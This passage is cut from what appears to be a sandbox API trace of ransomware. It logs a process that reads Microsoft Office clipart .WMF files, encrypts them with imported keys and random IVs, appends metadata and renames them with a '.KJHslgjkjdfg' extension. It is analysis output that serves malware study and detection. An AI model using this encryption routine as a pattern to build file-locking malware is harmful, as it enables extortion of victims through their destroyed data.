out: phKey=0x29df274*=0x9b6628) returned 1 [0213.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.354] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa68, lpOverlapped=0x0) returned 1 [0213.354] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa70, dwBufLen=0xa70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa70) returned 1 [0213.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.355] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa70, lpOverlapped=0x0) returned 1 [0213.355] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.355] SetEndOfFile (hFile=0x130) returned 1 [0213.358] GetProcessHeap () returned 0x990000 [0213.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.358] GetProcessHeap () returned 0x990000 [0213.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.kjhslgjkjdfg")) returned 1 [0213.360] CloseHandle (hObject=0x130) returned 1 [0213.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1 [0213.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.361] GetProcessHeap () returned 0x990000 [0213.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.361] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0213.386] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.386] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.386] GetProcessHeap () returned 0x990000 [0213.386] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.386] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.386] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.386] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.386] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.386] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.387] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.387] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.387] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.387] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.387] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30e4, lpOverlapped=0x0) returned 1 [0213.388] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30f0) returned 1 [0213.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.388] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30f0, lpOverlapped=0x0) returned 1 [0213.388] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.388] SetEndOfFile (hFile=0x130) returned 1 [0213.391] GetProcessHeap () returned 0x990000 [0213.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.391] GetProcessHeap () returned 0x990000 [0213.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.kjhslgjkjdfg")) returned 1 [0213.393] CloseHandle (hObject=0x130) returned 1 [0213.393] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1 [0213.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.397] GetProcessHeap () returned 0x990000 [0213.397] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.397] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.397] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.399] GetProcessHeap () returned 0x990000 [0213.399] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.399] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.399] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.399] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.399] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.399] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.400] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.400] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17a1c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17a1c, lpOverlapped=0x0) returned 1 [0213.401] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17a20, dwBufLen=0x17a20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17a20) returned 1 [0213.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.403] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17a20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17a20, lpOverlapped=0x0) returned 1 [0213.403] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.403] SetEndOfFile (hFile=0x130) returned 1 [0213.404] GetProcessHeap () returned 0x990000 [0213.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.404] GetProcessHeap () returned 0x990000 [0213.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.kjhslgjkjdfg")) returned 1 [0213.406] CloseHandle (hObject=0x130) returned 1 [0213.406] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1 [0213.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.408] GetProcessHeap () returned 0x990000 [0213.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.408] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.408] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.408] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.408] GetProcessHeap () returned 0x990000 [0213.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.408] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.408] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.408] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.411] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.411] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.411] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.412] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.412] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x670, lpOverlapped=0x0) returned 1 [0213.412] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670, dwBufLen=0x670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670) returned 1 [0213.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.412] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x670, lpOverlapped=0x0) returned 1 [0213.412] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.412] SetEndOfFile (hFile=0x130) returned 1 [0213.415] GetProcessHeap () returned 0x990000 [0213.415] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.415] GetProcessHeap () returned 0x990000 [0213.415] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.kjhslgjkjdfg")) returned 1 [0213.417] CloseHandle (hObject=0x130) returned 1 [0213.417] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1 [0213.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.419] GetProcessHeap () returned 0x990000 [0213.419] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.419] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.419] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0213.421] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.421] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.421] GetProcessHeap () returned 0x990000 [0213.421] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.421] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.421] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.421] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.422] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.422] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.422] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.422] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.422] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b4, lpOverlapped=0x0) returned 1 [0213.422] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0) returned 1 [0213.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.422] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c0, lpOverlapped=0x0) returned 1 [0213.422] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.423] SetEndOfFile (hFile=0x130) returned 1 [0213.424] GetProcessHeap () returned 0x990000 [0213.424] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.424] GetProcessHeap () returned 0x990000 [0213.424] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 